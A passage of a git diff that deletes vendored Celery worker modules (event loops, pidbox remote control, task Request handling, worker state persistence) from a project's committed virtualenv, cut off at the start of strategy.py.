asynloop(obj, connection, consumer, blueprint, hub, qos, - heartbeat, clock, hbrate=2.0): - """Non-blocking event loop.""" - RUN = bootsteps.RUN - update_qos = qos.update - errors = connection.connection_errors - - on_task_received = obj.create_task_handler() - - heartbeat_error = _enable_amqheartbeats(hub.timer, connection, rate=hbrate) - - consumer.on_message = on_task_received - obj.controller.register_with_event_loop(hub) - obj.register_with_event_loop(hub) - consumer.consume() - obj.on_ready() - - # did_start_ok will verify that pool processes were able to start, - # but this will only work the first time we start, as - # maxtasksperchild will mess up metrics. - if not obj.restart_count and not obj.pool.did_start_ok(): - raise WorkerLostError('Could not start worker processes') - - # consumer.consume() may have prefetched up to our - # limit - drain an event so we're in a clean state - # prior to starting our event loop. - if connection.transport.driver_type == 'amqp': - hub.call_soon(_quick_drain, connection) - - # FIXME: Use loop.run_forever - # Tried and works, but no time to test properly before release. - hub.propagate_errors = errors - loop = hub.create_loop() - - try: - while blueprint.state == RUN and obj.connection: - state.maybe_shutdown() - if heartbeat_error[0] is not None: - raise heartbeat_error[0] - - # We only update QoS when there's no more messages to read. - # This groups together qos calls, and makes sure that remote - # control commands will be prioritized over task messages. - if qos.prev != qos.value: - update_qos() - - try: - next(loop) - except StopIteration: - loop = hub.create_loop() - finally: - try: - hub.reset() - except Exception as exc: # pylint: disable=broad-except - logger.exception( - 'Error cleaning up after event loop: %r', exc) - - -def synloop(obj, connection, consumer, blueprint, hub, qos, - heartbeat, clock, hbrate=2.0, **kwargs): - """Fallback blocking event loop for transports that doesn't support AIO.""" - RUN = bootsteps.RUN - on_task_received = obj.create_task_handler() - perform_pending_operations = obj.perform_pending_operations - heartbeat_error = [None] - if getattr(obj.pool, 'is_green', False): - heartbeat_error = _enable_amqheartbeats(obj.timer, connection, rate=hbrate) - consumer.on_message = on_task_received - consumer.consume() - - obj.on_ready() - - def _loop_cycle(): - """ - Perform one iteration of the blocking event loop. - """ - if heartbeat_error[0] is not None: - raise heartbeat_error[0] - if qos.prev != qos.value: - qos.update() - try: - perform_pending_operations() - connection.drain_events(timeout=2.0) - except socket.timeout: - pass - except OSError: - if blueprint.state == RUN: - raise - - while blueprint.state == RUN and obj.connection: - try: - state.maybe_shutdown() - finally: - _loop_cycle() diff --git a/backend/venv/Lib/site-packages/celery/worker/pidbox.py b/backend/venv/Lib/site-packages/celery/worker/pidbox.py deleted file mode 100644 index a18b4338..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/pidbox.py +++ /dev/null @@ -1,122 +0,0 @@ -"""Worker Pidbox (remote control).""" -import socket -import threading - -from kombu.common import ignore_errors -from kombu.utils.encoding import safe_str - -from celery.utils.collections import AttributeDict -from celery.utils.functional import pass1 -from celery.utils.log import get_logger - -from . import control - -__all__ = ('Pidbox', 'gPidbox') - -logger = get_logger(__name__) -debug, error, info = logger.debug, logger.error, logger.info - - -class Pidbox: - """Worker mailbox.""" - - consumer = None - - def __init__(self, c): - self.c = c - self.hostname = c.hostname - self.node = c.app.control.mailbox.Node( - safe_str(c.hostname), - handlers=control.Panel.data, - state=AttributeDict( - app=c.app, - hostname=c.hostname, - consumer=c, - tset=pass1 if c.controller.use_eventloop else set), - ) - self._forward_clock = self.c.app.clock.forward - - def on_message(self, body, message): - # just increase clock as clients usually don't - # have a valid clock to adjust with. - self._forward_clock() - try: - self.node.handle_message(body, message) - except KeyError as exc: - error('No such control command: %s', exc) - except Exception as exc: - error('Control command error: %r', exc, exc_info=True) - self.reset() - - def start(self, c): - self.node.channel = c.connection.channel() - self.consumer = self.node.listen(callback=self.on_message) - self.consumer.on_decode_error = c.on_decode_error - - def on_stop(self): - pass - - def stop(self, c): - self.on_stop() - self.consumer = self._close_channel(c) - - def reset(self): - self.stop(self.c) - self.start(self.c) - - def _close_channel(self, c): - if self.node and self.node.channel: - ignore_errors(c, self.node.channel.close) - - def shutdown(self, c): - self.on_stop() - if self.consumer: - debug('Canceling broadcast consumer...') - ignore_errors(c, self.consumer.cancel) - self.stop(self.c) - - -class gPidbox(Pidbox): - """Worker pidbox (greenlet).""" - - _node_shutdown = None - _node_stopped = None - _resets = 0 - - def start(self, c): - c.pool.spawn_n(self.loop, c) - - def on_stop(self): - if self._node_stopped: - self._node_shutdown.set() - debug('Waiting for broadcast thread to shutdown...') - self._node_stopped.wait() - self._node_stopped = self._node_shutdown = None - - def reset(self): - self._resets += 1 - - def _do_reset(self, c, connection): - self._close_channel(c) - self.node.channel = connection.channel() - self.consumer = self.node.listen(callback=self.on_message) - self.consumer.consume() - - def loop(self, c): - resets = [self._resets] - shutdown = self._node_shutdown = threading.Event() - stopped = self._node_stopped = threading.Event() - try: - with c.connection_for_read() as connection: - info('pidbox: Connected to %s.', connection.as_uri()) - self._do_reset(c, connection) - while not shutdown.is_set() and c.connection: - if resets[0] < self._resets: - resets[0] += 1 - self._do_reset(c, connection) - try: - connection.drain_events(timeout=1.0) - except socket.timeout: - pass - finally: - stopped.set() diff --git a/backend/venv/Lib/site-packages/celery/worker/request.py b/backend/venv/Lib/site-packages/celery/worker/request.py deleted file mode 100644 index df99b549..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/request.py +++ /dev/null @@ -1,790 +0,0 @@ -"""Task request. - -This module defines the :class:`Request` class, that specifies -how tasks are executed. -""" -import logging -import sys -from datetime import datetime -from time import monotonic, time -from weakref import ref - -from billiard.common import TERM_SIGNAME -from billiard.einfo import ExceptionWithTraceback -from kombu.utils.encoding import safe_repr, safe_str -from kombu.utils.objects import cached_property - -from celery import current_app, signals -from celery.app.task import Context -from celery.app.trace import fast_trace_task, trace_task, trace_task_ret -from celery.concurrency.base import BasePool -from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, TaskRevokedError, Terminated, - TimeLimitExceeded, WorkerLostError) -from celery.platforms import signals as _signals -from celery.utils.functional import maybe, maybe_list, noop -from celery.utils.log import get_logger -from celery.utils.nodenames import gethostname -from celery.utils.serialization import get_pickled_exception -from celery.utils.time import maybe_iso8601, maybe_make_aware, timezone - -from . import state - -__all__ = ('Request',) - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - -IS_PYPY = hasattr(sys, 'pypy_version_info') - -logger = get_logger(__name__) -debug, info, warn, error = (logger.debug, logger.info, - logger.warning, logger.error) -_does_info = False -_does_debug = False - - -def __optimize__(): - # this is also called by celery.app.trace.setup_worker_optimizations - global _does_debug - global _does_info - _does_debug = logger.isEnabledFor(logging.DEBUG) - _does_info = logger.isEnabledFor(logging.INFO) - - -__optimize__() - -# Localize -tz_or_local = timezone.tz_or_local -send_revoked = signals.task_revoked.send -send_retry = signals.task_retry.send - -task_accepted = state.task_accepted -task_ready = state.task_ready -revoked_tasks = state.revoked -revoked_stamps = state.revoked_stamps - - -class Request: - """A request for task execution.""" - - acknowledged = False - time_start = None - worker_pid = None - time_limits = (None, None) - _already_revoked = False - _already_cancelled = False - _terminate_on_ack = None - _apply_result = None - _tzlocal = None - - if not IS_PYPY: # pragma: no cover - __slots__ = ( - '_app', '_type', 'name', 'id', '_root_id', '_parent_id', - '_on_ack', '_body', '_hostname', '_eventer', '_connection_errors', - '_task', '_eta', '_expires', '_request_dict', '_on_reject', '_utc', - '_content_type', '_content_encoding', '_argsrepr', '_kwargsrepr', - '_args', '_kwargs', '_decoded', '__payload', - '__weakref__', '__dict__', - ) - - def __init__(self, message, on_ack=noop, - hostname=None, eventer=None, app=None, - connection_errors=None, request_dict=None, - task=None, on_reject=noop, body=None, - headers=None, decoded=False, utc=True, - maybe_make_aware=maybe_make_aware, - maybe_iso8601=maybe_iso8601, **opts): - self._message = message - self._request_dict = (message.headers.copy() if headers is None - else headers.copy()) - self._body = message.body if body is None else body - self._app = app - self._utc = utc - self._decoded = decoded - if decoded: - self._content_type = self._content_encoding = None - else: - self._content_type, self._content_encoding = ( - message.content_type, message.content_encoding, - ) - self.__payload = self._body if self._decoded else message.payload - self.id = self._request_dict['id'] - self._type = self.name = self._request_dict['task'] - if 'shadow' in self._request_dict: - self.name = self._request_dict['shadow'] or self.name - self._root_id = self._request_dict.get('root_id') - self._parent_id = self._request_dict.get('parent_id') - timelimit = self._request_dict.get('timelimit', None) - if timelimit: - self.time_limits = timelimit - self._argsrepr = self._request_dict.get('argsrepr', '') - self._kwargsrepr = self._request_dict.get('kwargsrepr', '') - self._on_ack = on_ack - self._on_reject = on_reject - self._hostname = hostname or gethostname() - self._eventer = eventer - self._connection_errors = connection_errors or () - self._task = task or self._app.tasks[self._type] - self._ignore_result = self._request_dict.get('ignore_result', False) - - # timezone means the message is timezone-aware, and the only timezone - # supported at this point is UTC. - eta = self._request_dict.get('eta') - if eta is not None: - try: - eta = maybe_iso8601(eta) - except (AttributeError, ValueError, TypeError) as exc: - raise InvalidTaskError( - f'invalid ETA value {eta!r}: {exc}') - self._eta = maybe_make_aware(eta, self.tzlocal) - else: - self._eta = None - - expires = self._request_dict.get('expires') - if expires is not None: - try: - expires = maybe_iso8601(expires) - except (AttributeError, ValueError, TypeError) as exc: - raise InvalidTaskError( - f'invalid expires value {expires!r}: {exc}') - self._expires = maybe_make_aware(expires, self.tzlocal) - else: - self._expires = None - - delivery_info = message.delivery_info or {} - properties = message.properties or {} - self._delivery_info = { - 'exchange': delivery_info.get('exchange'), - 'routing_key': delivery_info.get('routing_key'), - 'priority': properties.get('priority'), - 'redelivered': delivery_info.get('redelivered', False), - } - self._request_dict.update({ - 'properties': properties, - 'reply_to': properties.get('reply_to'), - 'correlation_id': properties.get('correlation_id'), - 'hostname': self._hostname, - 'delivery_info': self._delivery_info - }) - # this is a reference pass to avoid memory usage burst - self._request_dict['args'], self._request_dict['kwargs'], _ = self.__payload - self._args = self._request_dict['args'] - self._kwargs = self._request_dict['kwargs'] - - @property - def delivery_info(self): - return self._delivery_info - - @property - def message(self): - return self._message - - @property - def request_dict(self): - return self._request_dict - - @property - def body(self): - return self._body - - @property - def app(self): - return self._app - - @property - def utc(self): - return self._utc - - @property - def content_type(self): - return self._content_type - - @property - def content_encoding(self): - return self._content_encoding - - @property - def type(self): - return self._type - - @property - def root_id(self): - return self._root_id - - @property - def parent_id(self): - return self._parent_id - - @property - def argsrepr(self): - return self._argsrepr - - @property - def args(self): - return self._args - - @property - def kwargs(self): - return self._kwargs - - @property - def kwargsrepr(self): - return self._kwargsrepr - - @property - def on_ack(self): - return self._on_ack - - @property - def on_reject(self): - return self._on_reject - - @on_reject.setter - def on_reject(self, value): - self._on_reject = value - - @property - def hostname(self): - return self._hostname - - @property - def ignore_result(self): - return self._ignore_result - - @property - def eventer(self): - return self._eventer - - @eventer.setter - def eventer(self, eventer): - self._eventer = eventer - - @property - def connection_errors(self): - return self._connection_errors - - @property - def task(self): - return self._task - - @property - def eta(self): - return self._eta - - @property - def expires(self): - return self._expires - - @expires.setter - def expires(self, value): - self._expires = value - - @property - def tzlocal(self): - if self._tzlocal is None: - self._tzlocal = self._app.conf.timezone - return self._tzlocal - - @property - def store_errors(self): - return (not self.task.ignore_result or - self.task.store_errors_even_if_ignored) - - @property - def task_id(self): - # XXX compat - return self.id - - @task_id.setter - def task_id(self, value): - self.id = value - - @property - def task_name(self): - # XXX compat - return self.name - - @task_name.setter - def task_name(self, value): - self.name = value - - @property - def reply_to(self): - # used by rpc backend when failures reported by parent process - return self._request_dict['reply_to'] - - @property - def replaced_task_nesting(self): - return self._request_dict.get('replaced_task_nesting', 0) - - @property - def groups(self): - return self._request_dict.get('groups', []) - - @property - def stamped_headers(self) -> list: - return self._request_dict.get('stamped_headers') or [] - - @property - def stamps(self) -> dict: - stamps = self._request_dict.get('stamps') or {} - return {header: stamps.get(header) for header in self.stamped_headers} - - @property - def correlation_id(self): - # used similarly to reply_to - return self._request_dict['correlation_id'] - - def execute_using_pool(self, pool: BasePool, **kwargs): - """Used by the worker to send this task to the pool. - - Arguments: - pool (~celery.concurrency.base.TaskPool): The execution pool - used to execute this request. - - Raises: - celery.exceptions.TaskRevokedError: if the task was revoked. - """ - task_id = self.id - task = self._task - if self.revoked(): - raise TaskRevokedError(task_id) - - time_limit, soft_time_limit = self.time_limits - trace = fast_trace_task if self._app.use_fast_trace_task else trace_task_ret - result = pool.apply_async( - trace, - args=(self._type, task_id, self._request_dict, self._body, - self._content_type, self._content_encoding), - accept_callback=self.on_accepted, - timeout_callback=self.on_timeout, - callback=self.on_success, - error_callback=self.on_failure, - soft_timeout=soft_time_limit or task.soft_time_limit, - timeout=time_limit or task.time_limit, - correlation_id=task_id, - ) - # cannot create weakref to None - self._apply_result = maybe(ref, result) - return result - - def execute(self, loglevel=None, logfile=None): - """Execute the task in a :func:`~celery.app.trace.trace_task`. - - Arguments: - loglevel (int): The loglevel used by the task. - logfile (str): The logfile used by the task. - """ - if self.revoked(): - return - - # acknowledge task as being processed. - if not self.task.acks_late: - self.acknowledge() - - _, _, embed = self._payload - request = self._request_dict - # pylint: disable=unpacking-non-sequence - # payload is a property, so pylint doesn't think it's a tuple. - request.update({ - 'loglevel': loglevel, - 'logfile': logfile, - 'is_eager': False, - }, **embed or {}) - - retval, I, _, _ = trace_task(self.task, self.id, self._args, self._kwargs, request, - hostname=self._hostname, loader=self._app.loader, - app=self._app) - - if I: - self.reject(requeue=False) - else: - self.acknowledge() - return retval - - def maybe_expire(self): - """If expired, mark the task as revoked.""" - if self.expires: - now = datetime.now(self.expires.tzinfo) - if now > self.expires: - revoked_tasks.add(self.id) - return True - - def terminate(self, pool, signal=None): - signal = _signals.signum(signal or TERM_SIGNAME) - if self.time_start: - pool.terminate_job(self.worker_pid, signal) - self._announce_revoked('terminated', True, signal, False) - else: - self._terminate_on_ack = pool, signal - if self._apply_result is not None: - obj = self._apply_result() # is a weakref - if obj is not None: - obj.terminate(signal) - - def cancel(self, pool, signal=None): - signal = _signals.signum(signal or TERM_SIGNAME) - if self.time_start: - pool.terminate_job(self.worker_pid, signal) - self._announce_cancelled() - - if self._apply_result is not None: - obj = self._apply_result() # is a weakref - if obj is not None: - obj.terminate(signal) - - def _announce_cancelled(self): - task_ready(self) - self.send_event('task-cancelled') - reason = 'cancelled by Celery' - exc = Retry(message=reason) - self.task.backend.mark_as_retry(self.id, - exc, - request=self._context) - - self.task.on_retry(exc, self.id, self.args, self.kwargs, None) - self._already_cancelled = True - send_retry(self.task, request=self._context, einfo=None) - - def _announce_revoked(self, reason, terminated, signum, expired): - task_ready(self) - self.send_event('task-revoked', - terminated=terminated, signum=signum, expired=expired) - self.task.backend.mark_as_revoked( - self.id, reason, request=self._context, - store_result=self.store_errors, - ) - self.acknowledge() - self._already_revoked = True - send_revoked(self.task, request=self._context, - terminated=terminated, signum=signum, expired=expired) - - def revoked(self): - """If revoked, skip task and mark state.""" - expired = False - if self._already_revoked: - return True - if self.expires: - expired = self.maybe_expire() - revoked_by_id = self.id in revoked_tasks - revoked_by_header, revoking_header = False, None - - if not revoked_by_id and self.stamped_headers: - for stamp in self.stamped_headers: - if stamp in revoked_stamps: - revoked_header = revoked_stamps[stamp] - stamped_header = self._message.headers['stamps'][stamp] - - if isinstance(stamped_header, (list, tuple)): - for stamped_value in stamped_header: - if stamped_value in maybe_list(revoked_header): - revoked_by_header = True - revoking_header = {stamp: stamped_value} - break - else: - revoked_by_header = any([ - stamped_header in maybe_list(revoked_header), - stamped_header == revoked_header, # When the header is a single set value - ]) - revoking_header = {stamp: stamped_header} - break - - if any((expired, revoked_by_id, revoked_by_header)): - log_msg = 'Discarding revoked task: %s[%s]' - if revoked_by_header: - log_msg += ' (revoked by header: %s)' % revoking_header - info(log_msg, self.name, self.id) - self._announce_revoked( - 'expired' if expired else 'revoked', False, None, expired, - ) - return True - return False - - def send_event(self, type, **fields): - if self._eventer and self._eventer.enabled and self.task.send_events: - self._eventer.send(type, uuid=self.id, **fields) - - def on_accepted(self, pid, time_accepted): - """Handler called when task is accepted by worker pool.""" - self.worker_pid = pid - # Convert monotonic time_accepted to absolute time - self.time_start = time() - (monotonic() - time_accepted) - task_accepted(self) - if not self.task.acks_late: - self.acknowledge() - self.send_event('task-started') - if _does_debug: - debug('Task accepted: %s[%s] pid:%r', self.name, self.id, pid) - if self._terminate_on_ack is not None: - self.terminate(*self._terminate_on_ack) - - def on_timeout(self, soft, timeout): - """Handler called if the task times out.""" - if soft: - warn('Soft time limit (%ss) exceeded for %s[%s]', - timeout, self.name, self.id) - else: - task_ready(self) - error('Hard time limit (%ss) exceeded for %s[%s]', - timeout, self.name, self.id) - exc = TimeLimitExceeded(timeout) - - self.task.backend.mark_as_failure( - self.id, exc, request=self._context, - store_result=self.store_errors, - ) - - if self.task.acks_late and self.task.acks_on_failure_or_timeout: - self.acknowledge() - - def on_success(self, failed__retval__runtime, **kwargs): - """Handler called if the task was successfully processed.""" - failed, retval, runtime = failed__retval__runtime - if failed: - exc = retval.exception - if isinstance(exc, ExceptionWithTraceback): - exc = exc.exc - if isinstance(exc, (SystemExit, KeyboardInterrupt)): - raise exc - return self.on_failure(retval, return_ok=True) - task_ready(self, successful=True) - - if self.task.acks_late: - self.acknowledge() - - self.send_event('task-succeeded', result=retval, runtime=runtime) - - def on_retry(self, exc_info): - """Handler called if the task should be retried.""" - if self.task.acks_late: - self.acknowledge() - - self.send_event('task-retried', - exception=safe_repr(exc_info.exception.exc), - traceback=safe_str(exc_info.traceback)) - - def on_failure(self, exc_info, send_failed_event=True, return_ok=False): - """Handler called if the task raised an exception.""" - task_ready(self) - exc = exc_info.exception - - if isinstance(exc, ExceptionWithTraceback): - exc = exc.exc - - is_terminated = isinstance(exc, Terminated) - if is_terminated: - # If the task was terminated and the task was not cancelled due - # to a connection loss, it is revoked. - - # We always cancel the tasks inside the master process. - # If the request was cancelled, it was not revoked and there's - # nothing to be done. - # According to the comment below, we need to check if the task - # is already revoked and if it wasn't, we should announce that - # it was. - if not self._already_cancelled and not self._already_revoked: - # This is a special case where the process - # would not have had time to write the result. - self._announce_revoked( - 'terminated', True, str(exc), False) - return - elif isinstance(exc, MemoryError): - raise MemoryError(f'Process got: {exc}') - elif isinstance(exc, Reject): - return self.reject(requeue=exc.requeue) - elif isinstance(exc, Ignore): - return self.acknowledge() - elif isinstance(exc, Retry): - return self.on_retry(exc_info) - - # (acks_late) acknowledge after result stored. - requeue = False - is_worker_lost = isinstance(exc, WorkerLostError) - if self.task.acks_late: - reject = ( - (self.task.reject_on_worker_lost and is_worker_lost) - or (isinstance(exc, TimeLimitExceeded) and not self.task.acks_on_failure_or_timeout) - ) - ack = self.task.acks_on_failure_or_timeout - if reject: - requeue = True - self.reject(requeue=requeue) - send_failed_event = False - elif ack: - self.acknowledge() - else: - # supporting the behaviour where a task failed and - # need to be removed from prefetched local queue - self.reject(requeue=False) - - # This is a special case where the process would not have had time - # to write the result. - if not requeue and (is_worker_lost or not return_ok): - # only mark as failure if task has not been requeued - self.task.backend.mark_as_failure( - self.id, exc, request=self._context, - store_result=self.store_errors, - ) - - signals.task_failure.send(sender=self.task, task_id=self.id, - exception=exc, args=self.args, - kwargs=self.kwargs, - traceback=exc_info.traceback, - einfo=exc_info) - - if send_failed_event: - self.send_event( - 'task-failed', - exception=safe_repr(get_pickled_exception(exc_info.exception)), - traceback=exc_info.traceback, - ) - - if not return_ok: - error('Task handler raised error: %r', exc, - exc_info=exc_info.exc_info) - - def acknowledge(self): - """Acknowledge task.""" - if not self.acknowledged: - self._on_ack(logger, self._connection_errors) - self.acknowledged = True - - def reject(self, requeue=False): - if not self.acknowledged: - self._on_reject(logger, self._connection_errors, requeue) - self.acknowledged = True - self.send_event('task-rejected', requeue=requeue) - - def info(self, safe=False): - return { - 'id': self.id, - 'name': self.name, - 'args': self._args if not safe else self._argsrepr, - 'kwargs': self._kwargs if not safe else self._kwargsrepr, - 'type': self._type, - 'hostname': self._hostname, - 'time_start': self.time_start, - 'acknowledged': self.acknowledged, - 'delivery_info': self.delivery_info, - 'worker_pid': self.worker_pid, - } - - def humaninfo(self): - return '{0.name}[{0.id}]'.format(self) - - def __str__(self): - """``str(self)``.""" - return ' '.join([ - self.humaninfo(), - f' ETA:[{self._eta}]' if self._eta else '', - f' expires:[{self._expires}]' if self._expires else '', - ]).strip() - - def __repr__(self): - """``repr(self)``.""" - return '<{}: {} {} {}>'.format( - type(self).__name__, self.humaninfo(), - self._argsrepr, self._kwargsrepr, - ) - - @cached_property - def _payload(self): - return self.__payload - - @cached_property - def chord(self): - # used by backend.mark_as_failure when failure is reported - # by parent process - # pylint: disable=unpacking-non-sequence - # payload is a property, so pylint doesn't think it's a tuple. - _, _, embed = self._payload - return embed.get('chord') - - @cached_property - def errbacks(self): - # used by backend.mark_as_failure when failure is reported - # by parent process - # pylint: disable=unpacking-non-sequence - # payload is a property, so pylint doesn't think it's a tuple. - _, _, embed = self._payload - return embed.get('errbacks') - - @cached_property - def group(self): - # used by backend.on_chord_part_return when failures reported - # by parent process - return self._request_dict.get('group') - - @cached_property - def _context(self): - """Context (:class:`~celery.app.task.Context`) of this task.""" - request = self._request_dict - # pylint: disable=unpacking-non-sequence - # payload is a property, so pylint doesn't think it's a tuple. - _, _, embed = self._payload - request.update(**embed or {}) - return Context(request) - - @cached_property - def group_index(self): - # used by backend.on_chord_part_return to order return values in group - return self._request_dict.get('group_index') - - -def create_request_cls(base, task, pool, hostname, eventer, - ref=ref, revoked_tasks=revoked_tasks, - task_ready=task_ready, trace=None, app=current_app): - default_time_limit = task.time_limit - default_soft_time_limit = task.soft_time_limit - apply_async = pool.apply_async - acks_late = task.acks_late - events = eventer and eventer.enabled - - if trace is None: - trace = fast_trace_task if app.use_fast_trace_task else trace_task_ret - - class Request(base): - - def execute_using_pool(self, pool, **kwargs): - task_id = self.task_id - if self.revoked(): - raise TaskRevokedError(task_id) - - time_limit, soft_time_limit = self.time_limits - result = apply_async( - trace, - args=(self.type, task_id, self.request_dict, self.body, - self.content_type, self.content_encoding), - accept_callback=self.on_accepted, - timeout_callback=self.on_timeout, - callback=self.on_success, - error_callback=self.on_failure, - soft_timeout=soft_time_limit or default_soft_time_limit, - timeout=time_limit or default_time_limit, - correlation_id=task_id, - ) - # cannot create weakref to None - # pylint: disable=attribute-defined-outside-init - self._apply_result = maybe(ref, result) - return result - - def on_success(self, failed__retval__runtime, **kwargs): - failed, retval, runtime = failed__retval__runtime - if failed: - exc = retval.exception - if isinstance(exc, ExceptionWithTraceback): - exc = exc.exc - if isinstance(exc, (SystemExit, KeyboardInterrupt)): - raise exc - return self.on_failure(retval, return_ok=True) - task_ready(self, successful=True) - - if acks_late: - self.acknowledge() - - if events: - self.send_event( - 'task-succeeded', result=retval, runtime=runtime, - ) - - return Request diff --git a/backend/venv/Lib/site-packages/celery/worker/state.py b/backend/venv/Lib/site-packages/celery/worker/state.py deleted file mode 100644 index 8c70bbd9..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/state.py +++ /dev/null @@ -1,288 +0,0 @@ -"""Internal worker state (global). - -This includes the currently active and reserved tasks, -statistics, and revoked tasks. -""" -import os -import platform -import shelve -import sys -import weakref -import zlib -from collections import Counter - -from kombu.serialization import pickle, pickle_protocol -from kombu.utils.objects import cached_property - -from celery import __version__ -from celery.exceptions import WorkerShutdown, WorkerTerminate -from celery.utils.collections import LimitedSet - -__all__ = ( - 'SOFTWARE_INFO', 'reserved_requests', 'active_requests', - 'total_count', 'revoked', 'task_reserved', 'maybe_shutdown', - 'task_accepted', 'task_ready', 'Persistent', -) - -#: Worker software/platform information. -SOFTWARE_INFO = { - 'sw_ident': 'py-celery', - 'sw_ver': __version__, - 'sw_sys': platform.system(), -} - -#: maximum number of revokes to keep in memory. -REVOKES_MAX = int(os.environ.get('CELERY_WORKER_REVOKES_MAX', 50000)) - -#: maximum number of successful tasks to keep in memory. -SUCCESSFUL_MAX = int(os.environ.get('CELERY_WORKER_SUCCESSFUL_MAX', 1000)) - -#: how many seconds a revoke will be active before -#: being expired when the max limit has been exceeded. -REVOKE_EXPIRES = float(os.environ.get('CELERY_WORKER_REVOKE_EXPIRES', 10800)) - -#: how many seconds a successful task will be cached in memory -#: before being expired when the max limit has been exceeded. -SUCCESSFUL_EXPIRES = float(os.environ.get('CELERY_WORKER_SUCCESSFUL_EXPIRES', 10800)) - -#: Mapping of reserved task_id->Request. -requests = {} - -#: set of all reserved :class:`~celery.worker.request.Request`'s. -reserved_requests = weakref.WeakSet() - -#: set of currently active :class:`~celery.worker.request.Request`'s. -active_requests = weakref.WeakSet() - -#: A limited set of successful :class:`~celery.worker.request.Request`'s. -successful_requests = LimitedSet(maxlen=SUCCESSFUL_MAX, - expires=SUCCESSFUL_EXPIRES) - -#: count of tasks accepted by the worker, sorted by type. -total_count = Counter() - -#: count of all tasks accepted by the worker -all_total_count = [0] - -#: the list of currently revoked tasks. Persistent if ``statedb`` set. -revoked = LimitedSet(maxlen=REVOKES_MAX, expires=REVOKE_EXPIRES) - -#: Mapping of stamped headers flagged for revoking. -revoked_stamps = {} - -should_stop = None -should_terminate = None - - -def reset_state(): - requests.clear() - reserved_requests.clear() - active_requests.clear() - successful_requests.clear() - total_count.clear() - all_total_count[:] = [0] - revoked.clear() - revoked_stamps.clear() - - -def maybe_shutdown(): - """Shutdown if flags have been set.""" - if should_terminate is not None and should_terminate is not False: - raise WorkerTerminate(should_terminate) - elif should_stop is not None and should_stop is not False: - raise WorkerShutdown(should_stop) - - -def task_reserved(request, - add_request=requests.__setitem__, - add_reserved_request=reserved_requests.add): - """Update global state when a task has been reserved.""" - add_request(request.id, request) - add_reserved_request(request) - - -def task_accepted(request, - _all_total_count=None, - add_request=requests.__setitem__, - add_active_request=active_requests.add, - add_to_total_count=total_count.update): - """Update global state when a task has been accepted.""" - if not _all_total_count: - _all_total_count = all_total_count - add_request(request.id, request) - add_active_request(request) - add_to_total_count({request.name: 1}) - all_total_count[0] += 1 - - -def task_ready(request, - successful=False, - remove_request=requests.pop, - discard_active_request=active_requests.discard, - discard_reserved_request=reserved_requests.discard): - """Update global state when a task is ready.""" - if successful: - successful_requests.add(request.id) - - remove_request(request.id, None) - discard_active_request(request) - discard_reserved_request(request) - - -C_BENCH = os.environ.get('C_BENCH') or os.environ.get('CELERY_BENCH') -C_BENCH_EVERY = int(os.environ.get('C_BENCH_EVERY') or - os.environ.get('CELERY_BENCH_EVERY') or 1000) -if C_BENCH: # pragma: no cover - import atexit - from time import monotonic - - from billiard.process import current_process - - from celery.utils.debug import memdump, sample_mem - - all_count = 0 - bench_first = None - bench_start = None - bench_last = None - bench_every = C_BENCH_EVERY - bench_sample = [] - __reserved = task_reserved - __ready = task_ready - - if current_process()._name == 'MainProcess': - @atexit.register - def on_shutdown(): - if bench_first is not None and bench_last is not None: - print('- Time spent in benchmark: {!r}'.format( - bench_last - bench_first)) - print('- Avg: {}'.format( - sum(bench_sample) / len(bench_sample))) - memdump() - - def task_reserved(request): - """Called when a task is reserved by the worker.""" - global bench_start - global bench_first - now = None - if bench_start is None: - bench_start = now = monotonic() - if bench_first is None: - bench_first = now - - return __reserved(request) - - def task_ready(request): - """Called when a task is completed.""" - global all_count - global bench_start - global bench_last - all_count += 1 - if not all_count % bench_every: - now = monotonic() - diff = now - bench_start - print('- Time spent processing {} tasks (since first ' - 'task received): ~{:.4f}s\n'.format(bench_every, diff)) - sys.stdout.flush() - bench_start = bench_last = now - bench_sample.append(diff) - sample_mem() - return __ready(request) - - -class Persistent: - """Stores worker state between restarts. - - This is the persistent data stored by the worker when - :option:`celery worker --statedb` is enabled. - - Currently only stores revoked task id's. - """ - - storage = shelve - protocol = pickle_protocol - compress = zlib.compress - decompress = zlib.decompress - _is_open = False - - def __init__(self, state, filename, clock=None): - self.state = state - self.filename = filename - self.clock = clock - self.merge() - - def open(self): - return self.storage.open( - self.filename, protocol=self.protocol, writeback=True, - ) - - def merge(self): - self._merge_with(self.db) - - def sync(self): - self._sync_with(self.db) - self.db.sync() - - def close(self): - if self._is_open: - self.db.close() - self._is_open = False - - def save(self): - self.sync() - self.close() - - def _merge_with(self, d): - self._merge_revoked(d) - self._merge_clock(d) - return d - - def _sync_with(self, d): - self._revoked_tasks.purge() - d.update({ - '__proto__': 3, - 'zrevoked': self.compress(self._dumps(self._revoked_tasks)), - 'clock': self.clock.forward() if self.clock else 0, - }) - return d - - def _merge_clock(self, d): - if self.clock: - d['clock'] = self.clock.adjust(d.get('clock') or 0) - - def _merge_revoked(self, d): - try: - self._merge_revoked_v3(d['zrevoked']) - except KeyError: - try: - self._merge_revoked_v2(d.pop('revoked')) - except KeyError: - pass - # purge expired items at boot - self._revoked_tasks.purge() - - def _merge_revoked_v3(self, zrevoked): - if zrevoked: - self._revoked_tasks.update(pickle.loads(self.decompress(zrevoked))) - - def _merge_revoked_v2(self, saved): - if not isinstance(saved, LimitedSet): - # (pre 3.0.18) used to be stored as a dict - return self._merge_revoked_v1(saved) - self._revoked_tasks.update(saved) - - def _merge_revoked_v1(self, saved): - add = self._revoked_tasks.add - for item in saved: - add(item) - - def _dumps(self, obj): - return pickle.dumps(obj, protocol=self.protocol) - - @property - def _revoked_tasks(self): - return self.state.revoked - - @cached_property - def db(self): - self._is_open = True - return self.open() diff --git a/backend/venv/Lib/site-packages/celery/worker/strategy.py b/backend/venv/Lib/site-packages/celery/worker/strategy.py deleted file mode 100644 index 3fe5fa14..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/strategy.py +++ /dev/null @@ -1,208 +0,0 @@ -"""Task execution strategy (optimization).""" -import logging - -from kombu.asynchronous.timer import to_timestamp - -from celery import signals -from celery.app import trace as _app_trace -from celery.exceptions import InvalidTaskError -from celery.utils.imports import symbol_by_name -from celery.utils.log import get_logger -from celery.utils.saferepr import saferepr -from celery.utils.time import timezone - -from .request import create_request_cls -from .state import task_reserved - -__all__ = ('default',) - -logger = get_logger(__name__) - -# pylint: 